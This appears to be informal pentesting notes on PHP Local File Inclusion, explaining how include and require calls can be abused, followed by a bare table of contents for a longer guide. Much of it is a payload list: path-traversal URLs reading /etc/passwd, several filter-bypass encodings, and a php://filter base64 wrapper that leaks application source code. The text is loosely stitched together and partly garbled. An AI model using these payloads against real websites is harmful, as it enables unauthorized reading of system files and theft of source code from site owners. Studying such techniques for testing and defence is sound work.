include files in the same website
include
include_once
require
require_once
u might include a file without extension, and the website takes the file and add the extension and run the content
u might include file without extension and the website takes the file’s data and execute it as a php for example
the website might have in its response a file included, this file field can be change and tested for other files like /etc/passwd and more. This filed also can be used to review the source code using LFI php filters like this
<http://example.com/index.php?page=../../../etc/passwd>
php://filter/convert.base64-encode/resource=profile.php
<http://example.com/index.php?page=....//....//....//etc/passwd>
<http://example.com/index.php?page=>....\\/....\\/....\\/etc/passwd
<http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd>
Introduction
Local File Inclusion (LFI)
Basic Bypasses
PHP Filters
PHP Wrappers
Remote File Inclusion (RFI)
LFI and File Uploads